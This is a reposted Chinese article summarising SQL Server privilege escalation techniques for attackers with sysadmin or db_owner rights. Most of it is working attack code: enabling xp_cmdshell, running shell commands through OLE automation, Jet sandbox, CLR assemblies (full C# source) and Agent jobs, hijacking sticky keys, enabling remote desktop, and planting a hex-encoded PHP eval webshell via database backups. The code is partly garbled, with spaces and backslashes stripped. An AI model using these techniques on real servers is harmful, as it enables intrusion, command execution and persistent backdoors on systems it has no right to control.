1.sqlserver的角色及權限
sqlserver的角色分為兩種:服務器角色和數據庫角色
服務器角色:服務器角色的擁有者只有登入名,服務器角色是固定的,用戶無法創建服務器角色。
數據庫角色:數據庫角色的擁有者可以是用戶也可以是數據庫角色本身,管理員可以創建數據庫角色。
在sqlserver中有三種特殊的用戶:
(1)系統管理員(dba權限),對應服務器角色sysadmin,可以執行sqlserver的任何動作,包括數據庫操作,文件管理,命令執行,注冊表讀取等,為sqlserver最高權限。
(2)數據庫所有者(dbo權限),對應數據庫角色db_owner, 可以執行數據庫中技術所有動作,包括文件管理,數據庫操作等。
(3)public角色是一種特殊的固定角色,數據庫的每個合法用戶都屬于該角色。它為數據庫中的用戶提供了所有默認權限。
判斷當前用戶角色(權限):
(1)判斷是否是sysadmin(dba權限),執行select is_srvrolemember('sysadmin')
(2)判斷是否是db_owner(dbo權限),執行select is_member('db_owner')
(3)判斷是否是public(普通權限),執行select is_srvrolemember('public')/select is_member('public')
2.最新版sqlserver提權測試(sqlserver2019)
文章測試均在sqlserver2019+win server2019中操作。經過測試sqlserver 2019默認安裝,使用dba權限執行whoami不是system權限,這是因為默認安裝的sqlserver服務不是用系統賬戶啟動的。
如果安裝時或在服務中更改為本地系統賬戶,執行命令為system權限,可以創建用戶提權。
3.xp_cmdshell(dba權限)
xp_cmdshell在低版本中默認開啟,由于存在安全隱患,在sqlserver2005以后,xp_cmdshell默認關閉。利用xp_cmdshell執行系統命令
--判斷xp_cmdshell是否存在,返回1證明存在xp_cmdshell selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'

--開啟xp_cmdshell EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE; --關閉xp_cmdshell EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',0;RECONFIGURE;


--執行系統命令,sqlserver2019被降權為mssql權限 execmaster..xp_cmdshell'xxx'

4.sp_oacreate+sp_oamethod(dba權限)
在xp_cmdshell被刪除或不能利用是可以考慮利用sp_oacreate,利用前提需要sqlserver sysadmin賬戶服務器權限為system(sqlserver2019默認被降權為mssql)。
sp_oacreate 是一個存儲過程,可以刪除、復制、移動文件。
還能配合 sp_oamethod 來寫文件執行系統命令。
--判斷sp_oacreate是否存在,返回1證明存在sp_oacreate selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='SP_OACREATE'

--開啟 execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'oleautomationprocedures',1;reconfigure; --關閉 execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'oleautomationprocedures',0;reconfigure;


--執行系統命令 declare@shellint execsp_oacreate'wscript.shell',@shelloutput execsp_oamethod@shell,'run',null,'C:\Windows\System32\cmd.exe/cwhoami'

直接執行命令成功后無回顯。
--回顯執行系統命令結果 declare@shellint,@execint,@textint,@strvarchar(8000) execsp_oacreate'wscript.shell',@shelloutput execsp_oamethod@shell,'exec',@execoutput,'C:\Windows\System32\cmd.exe/cwhoami' execsp_oamethod@exec,'StdOut',@textout execsp_oamethod@text,'readall',@strout select@str;

5.沙盒提權(dba權限)
沙盒模式是數據庫的一種安全功能。在沙盒模式下,只對控件和字段屬性中的安全且不含惡意代碼的表達式求值。
如果表達式不使用可能以某種方式損壞數據的函數或屬性,則可認為它是安全的。利用前提需要sqlserver sysadmin賬戶服務器權限為system(sqlserver2019默認被降權為mssql),服務器擁有 jet.oledb.4.0 驅動。
局限:
(1)Microsoft.jet.oledb.4.0一般在32位操作系統上才可以
(2)Windows 2008以上 默認無 Access 數據庫文件, 需要自己上傳 sqlserver2015默認禁用Ad Hoc Distributed Queries,需要開啟。
--開啟AdHocDistributedQueries execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'AdHocDistributedQueries',1;reconfigure; --關閉AdHocDistributedQueries execsp_configure'showadvancedoptions',1;reconfigure; execsp_configure'AdHocDistributedQueries',0;reconfigure;


--關閉沙盒模式 execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0; --恢復默認沙盒模式 execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2;

沙盒模式SandBoxMode參數含義(默認是2) 0:在任何所有者中禁止啟用安全模式 1:為僅在允許范圍內 2:必須在access模式下 3:完全開啟
--查看沙盒模式 execmaster.dbo.xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode'

--執行系統命令 select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','selectshell("cmd.exe/cwhoami")')
6.CLR(dba權限)
Microsoft SQL Server 2005之后,實現了對 Microsoft .NET Framework 的公共語言運行時(CLR)的集成。
CLR 集成使得現在可以使用 .NET Framework 語言編寫代碼,從而能夠在 SQL Server 上運行,現在就可以通過 C# 來編寫 SQL Server 自定義函數、存儲過程、觸發器等。
--開啟CLR execsp_configure'showadvancedoptions',1;RECONFIGURE; execsp_configure'clrenabled',1;RECONFIGURE; --關閉CLR execsp_configure'showadvancedoptions',1;RECONFIGURE; execsp_configure'clrenabled',0;RECONFIGURE;


--當導入了不安全的程序集之后,需將數據庫標記為可信任的 ALTERDATABASEmasterSETTRUSTWORTHYON;

做完上述準備之后需要編寫一個CLR,首先在本地visual studio中創建一個 SQL Server數據庫項目
然后,在項目中添加一個存儲過程
寫入以下代碼,右鍵生成,會在vs的工作目錄項目名稱Database1inDebug下生成四個文件
usingSystem; usingSystem.Diagnostics; usingSystem.Text; usingMicrosoft.SqlServer.Server; publicpartialclassStoredProcedures { [Microsoft.SqlServer.Server.SqlProcedure] publicstaticvoidCmdExec(Stringcmd) { //Putyourcodehere SqlContext.Pipe.Send(Command("cmd.exe","/c"+cmd)); } publicstaticstringCommand(stringfilename,stringarguments) { varprocess=newProcess(); process.StartInfo.FileName=filename; if(!string.IsNullOrEmpty(arguments)) { process.StartInfo.Arguments=arguments; } process.StartInfo.CreateNoWindow=true; process.StartInfo.WindowStyle=ProcessWindowStyle.Hidden; process.StartInfo.UseShellExecute=false; process.StartInfo.RedirectStandardError=true; process.StartInfo.RedirectStandardOutput=true; varstdOutput=newStringBuilder(); process.OutputDataReceived+=(sender,args)=>stdOutput.AppendLine(args.Data); stringstdError=null; try { process.Start(); process.BeginOutputReadLine(); stdError=process.StandardError.ReadToEnd(); process.WaitForExit(); } catch(Exceptione) { SqlContext.Pipe.Send(e.Message); } if(process.ExitCode==0) { SqlContext.Pipe.Send(stdOutput.ToString()); } else { varmessage=newStringBuilder(); if(!string.IsNullOrEmpty(stdError)) { message.AppendLine(stdError); } if(stdOutput.Length!=0) { message.AppendLine(stdOutput.ToString()); } SqlContext.Pipe.Send(filename+arguments+"finishedwithexitcode="+process.ExitCode+":"+message); } returnstdOutput.ToString(); } }

之后需要將dll文件注冊進sqlserver,這里有三種方法注冊 (1)采用16進制的方式,無文件落地
CREATEASSEMBLYsp_cmdExec FROM0x--這里寫.sql文件里的 WITHPERMISSION_SET=UNSAFE


(2)將dll文件上傳到目標機器上進行注冊
CREATEASSEMBLYsp_cmdExec FROM'C:UsersAdministratorDesktopDatabase1.dll'--這里寫上傳dll文件的路徑 WITHPERMISSION_SET=UNSAFE

(3)通過 SSMS注冊dll
注冊完成后,創建存儲過程
CREATEPROCEDUREsp_cmdExec @Command[nvarchar](4000) WITHEXECUTEASCALLER AS EXTERNALNAMEsp_cmdExec.StoredProcedures.CmdExec

--執行系統命令 EXECsp_cmdExec'whoami';

刪除存儲過程和程序集
DROPPROCEDUREsp_cmdExec;DROPASSEMBLYsp_cmdExec;

7.xp_regwrite映像劫持(dba權限)
xp_regread 與 xp_regwrite兩個存儲過程腳本可以直接讀取與寫入注冊表,利用regwrite函數修改注冊表,起到劫持作用。
利用前提sqlserver系統權限可以修改注冊表。
--判斷xp_rewrite是否存在,返回1證明存在xp_regwrite selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_regwrite'

--開啟 EXECsp_configure'showadvancedoptions',1;RECONFIGURE EXECsp_configure'xp_regwrite',1;RECONFIGURE --關閉 EXECsp_configure'showadvancedoptions',1;RECONFIGURE EXECsp_configure'xp_regwrite',0;RECONFIGURE
修改注冊表來劫持粘滯鍵,將粘滯鍵修改為打開cmd 在sqlserver2019+winserver2019中測試,win defender和火絨均會攔截
--劫持注冊表 EXECmaster..xp_regwrite@rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe' --查看是否劫持成功 EXECmaster..xp_regread'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindowsNTCurrentVersionImageFileExecutionOptionssethc.exe','Debugger'

劫持成功后連按5次shift會彈出cmd(win defender會攔截彈出的cmd并刪除已經劫持的注冊表) 還可以修改注冊表來開啟3389
execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminalServer','fDenyTSConnections','REG_DWORD',0;
8.SQL Server Agent Job(dba權限)
SQL Server 代理是一項 Microsoft Windows 服務,它執行計劃的管理任務,這些任務在 SQL Server 中稱為作業。
--啟動sqlagent execmaster.dbo.xp_servicecontrol'start','SQLSERVERAGENT'
利用任務計劃命令執行,創建任務 test并執行命令,將結果寫入1.txt
--執行命令 usemsdb; execsp_delete_jobnull,'test' execsp_add_job'test' execsp_add_jobstepnull,'test',null,'1','cmdexec','cmd/c"whoami>c:/1.txt"' execsp_add_jobservernull,'test',@@servername execsp_start_job'test';

命令執行成功后沒有回顯,可以把1.txt寫到表中,再查詢表中內容獲取命令回顯。
--查看命令結果 Usemodel; bulkinsertreadfilefrom'C:1.txt' select*fromreadfile

9.R和python(dbo/dba權限)
在 SQL Server 2017 及更高版本中,R 與 Python 一起隨附在機器學習服務中。
該服務允許通過 SQL Server 中 sp_execute_external_script 執行 Python 和 R 腳本。
利用前提sqlserver系統權限可以執行外部腳本
--開啟和關閉需要dba權限 --開啟 EXECsp_configure'externalscriptsenabled',1;RECONFIGURE --關閉 EXECsp_configure'externalscriptsenabled',0;RECONFIGURE


--dbo和dba權限均可執行命令 --利用R執行命令 EXECsp_execute_external_script @language=N'R', @script=N'OutputDataSet<-?data.frame(system("cmd.exe?/c?dir",intern=T))' WITH?RESULT?SETS?(([cmd_out]?text)); --利用python執行命令 exec?sp_execute_external_script @language?=N'Python', @script=N'import?subprocess p?=?subprocess.Popen("cmd.exe?/c?whoami",?stdout=subprocess.PIPE) OutputDataSet?=?pandas.DataFrame([str(p.stdout.read(),?"utf-8")])'


10.差異備份寫webshell(dbo權限)
dbo和dba都有備份數據庫權限,我們可以把數據庫備份成可執行腳本文件放到web目錄里,獲得 webshell。利用前提,知道網站絕對路徑且路徑可寫
--生成備份文件 backupdatabasetesttodisk='C:phpstudy_proWWW1.bak'; --創建表并寫入一句話木馬 createtabletest([cmd][image]); Insertintotest(cmd)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e); --將數據庫進行差異備份 backupdatabasetesttodisk='C:phpstudy_proWWWshell.php'WITHDIFFERENTIAL,FORMAT;



蟻劍直接連接生成的shell.php
dbo和dba都有備份數據庫權限,我們可以把數據庫備份成可執行腳本文件放到web目錄里,獲得 webshell。
利用前提(1)知道網站絕對路徑且路徑可寫(2)利用數據庫必須存在備份文件
alterdatabasetestsetRECOVERYFULL--將數據庫修改為完整模式 createtablecmd(aimage)--新建表 backuplogtesttodisk='c:phpstudy_prowww2.bak'withinit--備份表 insertintocmd(a)values(0x3c3f70687020406576616c28245f524551554553545b2761275d293b3f3e)--將一句話木馬寫入表中 backuplogtesttodisk='c:phpstudy_prowww2.php'--備份操作日志到指定腳本文件

蟻劍直接連接生成的2.php
12.sp_oacreate+sp_oamethod寫webshell(dba權限)
在sqlserver2019+win server2019中測試,win defender會報毒并刪除一句話木馬。
declare@oint,@fint,@tint,@retint execsp_oacreate'scripting.filesystemobject',@oout execsp_oamethod@o,'createtextfile',@fout,'C:phpstudy_prowww1.php',1 exec@ret=sp_oamethod@f,'writeline',NULL,''

13.不支持堆疊的情況下執行系統命令
select1where1=1if1=1execute('execsp_configure''showadvancedoptions'',1;reconfigure;execsp_configure''xp_cmdshell'',1;reconfigure;execxp_cmdshell''whoami''');

審核編輯:劉清
-
服務器
+關注
關注
12文章
9579瀏覽量
86932 -
SQL
+關注
關注
1文章
779瀏覽量
44696 -
python
+關注
關注
56文章
4822瀏覽量
85803
原文標題:sql server提權總結
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關注!文章轉載請注明出處。
發布評論請先 登錄
相關推薦
iMatrix平臺核心功能—權限管理介紹
用PythonPi實現門禁系統-權限管控
通過高通平臺簡單總結的權限問題
Linux 下 QT遠程連接sqlserver
一個通用的權限管理模型的設計方案
RBAC私有權限問題研究
基于角色的多約束動態權限管理模型

Linux進程權限的分析說明
erp用戶權限管理怎么做
基于角色的松耦合式權限控制設計
華納云:設置RBAC權限的方法
SqlServer數據恢復—SqlServer數據庫數據恢復案例

評論